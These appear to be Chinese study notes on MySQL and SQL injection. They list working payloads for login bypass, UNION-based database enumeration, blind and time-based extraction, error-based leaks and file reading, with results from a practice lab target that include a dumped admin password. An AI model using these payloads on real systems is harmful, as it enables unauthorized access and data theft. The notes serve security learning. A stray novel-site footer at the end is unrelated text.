sql注入

mysql -uroot -proot;

列出所有可用数据库

SHOW DATABASES;

当前会话切换到database_x数据库

USE database_x;

列出当前数据库中所有表

SHOW TABLES;

结构:库database_x,表table_x,表结构

DESCRIBE `database_x`.`table_x`;

增:新建数据库(database)

CREATE DATABASE `database_x`;

增:库database_x,表table_x,插入一行数据('1', 'tom', 'abcde')

INSERT INTO `database_x`.`table_x` VALUES ('1', 'tom', 'abcde');

增:库database_x,表table_x,字段(name, passwd),插入一行数据('tom', 'abcde')

INSERT INTO `database_x`.`table_x` (name, passwd) VALUES ('tom', 'abcde');

删:删除数据库(database)

DROP DATABASE `database_x`;

删:库database_x,表table_x,删除行数据(所有)

DELETE FROM `database_x`.`table_x`;

删:库database_x,表table_x,删除行数据(字段id=1)

DELETE FROM `database_x`.`table_x` WHERE id = 1;

改:库database_x,表table_x,修改字段passed=abcde(字段name=tom)

UPDATE `database_x`.`table_x` SET passwd = 'abcde' WHERE name = 'tom';

查:库database_x,表table_x,查询字段(所有)

SELECT * FROM `database_x`.`table_x`;

查:库database_x,表table_x,查询字段(name,passwd)

SELECT name,passwd FROM `database_x`.`table_x`;

排序:库database,表table,选择列(id,name),排序(按字段name),降序

SELECT id,name FROM `database`.`table` ORDER BY name DESC;

排序:库database,表table,选择列(id,name),排序(按结果集第2列)

SELECT id,name FROM `database`.`table` ORDER BY 2;

条件语句:库database,表table,输出列(id,name),列name内容是tom或jay

SELECT id,name FROM `database`.`table` WHERE name = "tom" OR name = "jay";

限制输出:库database,表table,输出列(id,name),从第1条记录开始的2条数据

SELECT id,name FROM `database`.`table` LIMIT 0,2;

注释:库database,表table,输出列(id),添加注释(空格处,添加注释(id处<需执行>)

SELECT/*!id*/FROM/**/`database`.`table`;

注释:库database,表table,输出列(id),添加注释(空格处),添加换行注释,添加注释(忽略整行)

SELECT/**/

#

--

id/**/FROM/**/`database`.`table`;

信息数据库

(1)查询系统库中的所有表 -> 输出 表(记录所有库名),表(记录所有表名),表(记录所有字段名)

show tables from information_schema

(2)输出 字段(所有库名)

SELECT * FROM `information_schema`.`SCHEMATA`;

SCHEMA_NAME

(3)输出 字段(所有表名),字段(所有库名)

SELECT * FROM `information_schema`.`TABLES`;

TABLE_SCHEMA,TABLE_NAME

(4)输出 字段(所有字段名),字段(所有表名),字段(所有库名)

SELECT * FROM `information_schema`.`COLUMNS`;

TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME

万能用户名

xxx' or 1=1--+

sql注入

(1)按参数类型分类

①数字型

?id=1 order by 1

②字符型(单引号闭合)

?id=1' order by 1--+

③搜索型

(2)按数据库返回结果分类

①回显注入

②报错注入

③布尔盲注(based boolean)

④时间盲注(based time)

id=1 and sleep(5)

?id=1 and if ((substr((select database()),1,1))='a',sleep(1),null)

(3)按注入点位置分类

①get注入

②post注入(请求体,表单)

③cookie注入

④header注入(ua,cookie)

靶场：http://a5fa4ee523e3.target.yijinglab.com/article.php?id=1

(1)字段数

?id=1 order by 2

(2)显示位

?id=-1 union select 1,1

(3)数据库版本(mysql5.0以上版本自带数据库information_schema) -> 输出 5.5.61-0ubuntu0.14.04.1

?id=-1 union select 1,version()

(4)当前用户(权限) -> 输出 root@localhost

?id=-1 union select 1,user()

(5)操作系统版本(Linux需区分大小写) -> 输出 debian-linux-gnu

?id=-1 union select 1,@@version_compile_os

(6)数据目录 -> 输出 /var/lib/mysql/

?id=-1 union select 1,@@datadir

(7)当前数据库 -> 输出 company_website

?id=-1 union select 1,database()

?id=-1 union select 1,schema()

?id=-1 union select 1,(select database()) from information_schema.schemata

(8)所有数据库(跨库注入) -> 输出 information_schema,company_website,mysql,performance_schema

?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata

(9)所有表(当前库company_website)(2种写法) -> 输出 articles,company_intro,users

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='company_website'

(10)所有字段(当前库company_website,表users)(2种写法) -> 输出 id,username,password

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='company_website' and table_name='users'

(11)数据(库company_website,表users) -> 输出 admin,ad@min123

?id=-1 union select 1,concat_ws(',',username,password) from company_website.users

get盲注

库版本名长度 -> 结果23

?id=1 and length(version())=23

库名长度(当前库) -> 结果15

?id=1 and length(database())=15

库名(当前库,第2个字符,ascii码) -> 结果111

?id=1 and ascii(substr(database(),2,1))=111

表总数(当前库) -> 结果3

?id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=3

表名长度(当前库,表1) -> 结果8

?id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=8

表名长度(当前库,表2) -> 结果13

?id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=13

表名(当前库,表3,第2个字符,ascii码) -> 结果115

?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=115

字段数(当前库,表'users') -> 结果3

?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3

字段长度(当前库,表users,字段2)

字段名(当前库,表users,字段2,第2个字符,ascii码) -> 结果115

?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),2,1))=115

报错注入：通过函数报错获取信息：使用一些指定的函数来制造报错信息，从而获取报错信息中特定的信息

查找并替换xml文档中符合条件的节点的值

updatexml(xml_document,xpath_string,new_value)

extractvalue(xml_document,xpath_string)

~root@localhost~

?id=1 union select 1,2 from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

select * from users where id=1 and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='users' limit 0,1),0x7e),1))

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user())))))

floor

sql文件读写

secure-file-priv

读文件

?id=1 union select 1,load_file('/var/lib/mysql/')

本书首发来自17K小说网，第一时间看正版内容！